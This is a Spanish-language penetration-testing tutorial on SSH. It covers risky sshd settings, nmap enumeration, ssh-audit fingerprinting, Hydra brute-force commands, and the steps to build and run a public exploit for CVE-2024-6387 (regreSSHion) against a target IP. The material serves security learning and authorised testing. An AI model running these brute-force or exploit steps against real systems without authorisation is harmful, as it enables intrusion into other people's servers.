SSH Penetration Testing

Mi Foto

Puerto por default: 22/2222

¿Qué es SSH?

SSH (Secure Shell) es un protocolo de red que permite la conexión segura y remota a otro ordenador. Se utiliza para acceder a servidores, ejecutar comandos y transferir archivos de forma cifrada, protegiendo la información transmitida de posibles escuchas o manipulaciones

¿Para qué se usa?

Permite conectarse a servidores, ordenadores o dispositivos de red desde cualquier lugar con conexión a internet, ejecutando comandos y gestionando el sistema como si estuvieras frente a él.

Transferencia segura de archivos:

SSH ofrece protocolos como SFTP (SSH File Transfer Protocol) y SCP (Secure Copy) que permiten la transferencia segura de archivos entre el cliente y el servidor.

Automatización de tareas:

Permite la creación de scripts que ejecutan comandos en servidores remotos, automatizando procesos como copias de seguridad, actualizaciones, etc.

Gestión remota de servidores:

SSH es fundamental para la administración de servidores, permitiendo a los administradores controlar y configurar sistemas operativos, aplicaciones y servicios de forma segura.

OpenSSH tiene seis métodos de autenticación diferentes

1. Autenticación con contraseña

2. Autenticación de clave pública

3. Autenticación basada en host

4. Autenticación del teclado

5. Autenticación de desafío-respuesta

6. Autenticación GSSAPI

Entornos peligrosos

A pesar de que el protocolo SSH es uno de los protocolos más seguros disponibles en la actualidad, algunos errores de configuración pueden hacer que el servidor SSH sea vulnerable a ataques fáciles de ejecutar. Las siguientes configuraciones pueden darte una idea:

# Configuracion Descripcion
1 PasswordAuthentication yes Permite la autenticación basada en contraseña.
2 PermitEmptyPasswords yes Permite el uso de contraseñas vacías.
3 PermitRootLogin yes Permite iniciar sesión como usuario root.
4 Protocol 1 Utiliza una versión obsoleta del cifrado.
5 X11Forwarding yes Permite el reenvío X11 para aplicaciones GUI.
6 AllowTcpForwarding yes Permite el reenvío de puertos TCP.
7 PermitTunnel Permite la tunelización.
8 DebianBanner yes Muestra un banner específico al iniciar sesión.

interactuar con SSH

Puedes realizar enumeracion manual utilizando NMAP:

    find / -type f -name "ssh*" 2>/dev/null | grep scripts
    sudo nmap --script "*ssh*" -p22 IP
    sudo nmap -sV -p22 -sC -A IP
                                

Una de las formas comunes para interactuar con SSH es con la herramienta ssh, que se instala desde linux con el sigueinte comando:

    sudo apt install ssh
                                

En una instancia regular de ssh, puedes conectarte usando ssh o sshpass:

    ssh user@IP
    sshpass -p "Password1" ssh root@IP
                                

Otra forma de conectarse a una instancia regular de ssh mediante IPv6, puede ser de la siguiente manera:

    ssh -6 root@fe80:0000:0000:0000:020c:29ff:fe45:8452%eth0
    Direccion IPv6 se puede encontrar en /proc/net/if_inet6
    ping6 -c 1 IP/IPv6%eth0
                                

Realizar copiado de archivos mediante SSH con CSP

    scp archivo.txt usuario@IP:/directorio_interno/archivo.txt
    scp usuario@IP:/directorio_interno/archivo_que_se_compiara.txt /directorio_externo/archivo.txt
                                

Autenticacion mediante Clave Privada

    chmod 600 id_rsa
    ssh -i id_rsa usuario@IP
                                

Ahora que entendemos que es SSH y como podemos interactual con el, vamos a pasar a la explotacion de SSH

Recolectando Huellas SSH

Una de las herramientas que podemos utilizar para tomar las huellas dactilares del servidor SSH es 👉👉👉 SSH Audit 👈👈👈 Comprueba la configuración del lado del cliente y del lado del servidor y muestra información general y qué algoritmos de cifrado siguen utilizando el cliente y el servidor. Por supuesto, esto podría explotarse atacando el servidor o el cliente a nivel críptico más adelante.

Mapeando SSH con ssh-audit

    git clone https://github.com/jtesta/ssh-audit.git
    cd ssh-audit
    ./ssh-audit.py IP
    sudo python3 ssh-audit.py IP
                                

Lo primero que podemos ver en las primeras líneas de la salida es el banner que revela la versión del servidor OpenSSH. Las versiones anteriores tenían algunas vulnerabilidades, como CVE-2020-14145, que permitía al atacante la capacidad de Man-In-The-Middle y atacar el intento de conexión inicial. La salida detallada de la configuración de la conexión con el servidor OpenSSH también puede proporcionar a menudo información importante, como los métodos de autenticación que puede utilizar el servidor.

Fuerza bruta sobre servicio SSH con Hydra

Se puede utilizar la herramienta hydra para realizar ataques de fuerza bruta sobre el protocolo SSH

Flujo del ataque


    # Cuando se tiene usuario valido
    $ hydra -l admin -P /diccionario_de_passwds.txt ssh://IP -VV -f -t 20
    # Cuando se tiene un passwd valido           
    $ hydra -L /diccionario_de_usuarios -p P@ssw0r1  ssh://IP -VV -f -t 20
    #Cundo no se tiene ningun dato valido
    $ hydra -L /diccionario_de_usuarios -P /diccionario_de_passwds.txt ssh://IP -VV -f -t 20
    
                                

Es importante ver la respuesta del servidor ya que en ocasiones el servidor bloquea los intentos de autenticaciones y no permite realizar ataques de fuerza brute, mide el rango de peticiones por segundo

SSH Regression Vulnerability

La vulnerabilidad regreSSHion en OpenSSH, también conocida como CVE-2024-6387, es una vulnerabilidad de ejecución remota de código (RCE) que afecta a los servidores OpenSSH en sistemas Linux basados en glibc. Esta vulnerabilidad se debe a una condición de carrera en el manejador de señales de OpenSSH, lo que permite a un atacante remoto no autenticado ejecutar comandos arbitrarios con privilegios de root. Para mitigar el riesgo de esta vulnerabilidad, se recomienda actualizar OpenSSH a la versión 9.8p1 o superior.

Prueba de concepto regreSSHion-checker y Exploit regreSSHion

regreSSHion-checker es una herramienta liviana y eficiente diseñada para identificar servidores que ejecutan versiones vulnerables de OpenSSH, dirigida específicamente a los recientemente descubiertos regreSSHion vulnerabilidad (CVE-2024-6387). Esta herramienta facilita el escaneo rápido de múltiples direcciones IP, nombres de dominio y rangos de red CIDR para detectar posibles vulnerabilidades y garantizar la seguridad de su infraestructura.

👉👉👉 RegreSSHion-Checker


    git clone https://github.com/xonoxitron/regreSSHion-checker.git
    cd regreSSHion-chkecker
    sudo mv main.go regreSSHion.go
    sudo go build regreSSHion.go
    ./regreSSHion IP
                                

Mi Foto

Este repositorio contiene un exploit dirigido a CVE-2024-6387 (regreSSHion), una vulnerabilidad en el servidor de OpenSSH (sshd) en sistemas Linux basados en glibc. Explota una condición de carrera en el controlador de señales de OpenSSH, lo que potencialmente conduce a la ejecución remota de código como root.

👉👉👉 RegreSSHion


    git clone https://github.com/xonoxitron/regreSSHion.git
    cd regreSSHion
    sudo chmod +x compile.sh
    sudo ./compile.sh
    sudo ./regreSSHion IP PORT
                                

Mi Foto

Los resultados de una explotacion exitosa dependeran de las condiciones del servidor

... espera las actualizaciones😎

Redes Sociales